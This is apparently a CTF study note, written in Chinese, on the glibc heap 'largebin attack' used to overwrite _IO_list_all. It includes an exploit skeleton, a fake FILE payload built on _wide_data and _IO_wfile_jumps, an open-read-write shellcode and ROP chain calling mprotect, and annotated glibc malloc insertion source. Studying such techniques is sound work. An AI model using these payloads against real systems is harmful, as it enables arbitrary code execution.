largebin attack

[TOC] 学习时参考的博客 博客1 博客2

往一个地址写入一个堆地址 largebin attack经常用来在堆上伪造FAKE FILE来打IO_FILE

代码

malloc(0x420) #0
malloc(0x20)

malloc(0x410) #1
malloc(0x20)

free(0)
#让0进入largebin
malloc(0x430)

#1在unsorted bin中
free(1)
#size(0)>size(1)
edit(0,p64(0)*3+p64(target-0x20))

#触发largebin attack
malloc(0x430)
#修改largebin
edit(0,p64(recover)*2)

做题笔记

largebin attack了_IO_list_all后一般largebin都是ck2->ck1,然后IO_list_all指向ck1,但是有时候edit次数有限制,所以可以这样做

在edit ck2的bk_nextsize的时候,直接把IO布置到ck2上,largebin attack后IO_list_all指向ck1,但是再把ck1给add出来,那么此时因为出入bin的原因,IO_list_all最终指向ck2,那么就是一次edit直接打完largebin attack同时布置好了IO

shellcode=asm(shellcraft.openat2(-100,flag_addr,flag_addr+0x1000,0x18)+shellcraft.read(3,heapbase+0x10000,0x50)+shellcraft.write(1,heapbase+0x10000,0x50)+shellcraft.exit(0))
orw_rop =  b'flag\x00\x00\x00\x00'
orw_rop += p64(pop_rdx_r12_ret) + p64(0) + p64(fake_IO_addr - 0x10)
orw_rop += p64(pop_rdi_ret) + p64(heapbase) +p64(pop_rsi_ret)+p64(0x10000)+p64(pop_rdx_r12_ret)+p64(7)*2+ p64(libcbase + libc.sym['mprotect'])
orw_rop += p64(heapbase+0x1bf0)+shellcode

                    
# payload = p64(0) + p64(leave_ret) + p64(1) + p64(2) #这样设置同时满足fsop
payload = p64(0)+p64(leave_ret)+p64(0)+p64(io_list_all-0x20)
payload = payload.ljust(0x38, b'\x00') + p64(rop_address) #FAKE FILE+0x48
payload = payload.ljust(0x90, b'\x00') + p64(fake_IO_addr + 0xe0) #_wide_data=fake_IO_addr + 0xe0
payload = payload.ljust(0xc8, b'\x00') + p64(libcbase + 0x216F40) #vtable=_IO_wfile_jumps
#*(A+0Xe0)=B   _wide_data->_wide_vtable=fake_IO_addr + 0xe0 + 0xe8
payload = payload.ljust(0xd0 + 0xe0, b'\x00') + p64(fake_IO_addr + 0xe0 + 0xe8)
#*(B+0X68)=C=magic_gadget
payload = payload.ljust(0xd0 + 0xe8 + 0x68, b'\x00') + p64(magic_gadget)
payload = payload + orw_rop

# dbg()
edit(1,payload)

核心

  • 对于攻击来说,实际上并不用考虑那么多情况,我们只需要考虑victim小于当前largebin中最小的chunk(因为largebin中只有唯一的chunk,所以最小的chunk也是它)
fwd = bck; //当前largebin
bck = bck->bk; // 最小的chunk
//将victim插入当前largebin的最后
victim->fd_nextsize = fwd->fd;  1
victim->bk_nextsize = fwd->fd->bk_nextsize;  2
fwd->fd->bk_nextsize = victim->bk_nextsize->fd_nextsize = victim; 3

由2,3可得fwd->fd->bk_nextsize->fd_nextsize =victim victim是一个堆地址,相当于填入了一个很大的数

结构

  • 结构

  • largebin入bin操作

源码

largebin结构体指针数组存着多个largebin,每个largebin又有着多个chunk

else //确定是large bin
            
    victim_index = largebin_index (size);  //获取victim的下标
    bck = bin_at (av, victim_index); //bck=当前的large bin
    fwd = bck->fd; //fwd=largebin中的最大的chunk

    /* 保持largebin有序*/
    //如果当前bin中有chunk
    if (fwd != bck) {
        size |= PREV_INUSE;
        assert (chunk_main_arena (bck->bk));
        //victim小于当前largebin中最小的chunk
        if ((unsigned long) (size)< (unsigned long) chunksize_nomask (bck->bk)) {
            fwd = bck; //当前largebin
            bck = bck->bk; // 最小的chunk
            //将victim插入当前largebin的最后
            victim->fd_nextsize = fwd->fd; 
            victim->bk_nextsize = fwd->fd->bk_nextsize;
            fwd->fd->bk_nextsize = victim->bk_nextsize->fd_nextsize = victim;
        }
        else{
            assert (chunk_main_arena (fwd));
            //从大到小遍历找到victim合适的位置
            while ((unsigned long) size < chunksize_nomask (fwd)){
                fwd = fwd->fd_nextsize;
                assert (chunk_main_arena (fwd));
            }
             // 如果victim与当前chunk size相等,不用考虑fd_nextsize 和 bk_nextsize,直接放到当前的chunk下
            if ((unsigned long) size == (unsigned long) chunksize_nomask (fwd)) {
                fwd = fwd->fd;
            }
            else {
                victim->fd_nextsize = fwd;
                victim->bk_nextsize = fwd->bk_nextsize;
                if (__glibc_unlikely (fwd->bk_nextsize->fd_nextsize != fwd))
                malloc_printerr ("malloc(): largebin double linked list corrupted (nextsize)");
                fwd->bk_nextsize = victim;
                victim->bk_nextsize->fd_nextsize = victim;
            }
            bck = fwd->bk;
            if (bck->fd != fwd)
            malloc_printerr ("malloc(): largebin double linked list corrupted (bk)");
        }
    }
    //当前largebin中没有chunk
    else{
        victim->fd_nextsize = victim->bk_nextsize = victim;
    }

    mark_bin (av, victim_index);
    victim->bk = bck;
    victim->fd = fwd;
    fwd->bk = victim;
    bck->fd = victim;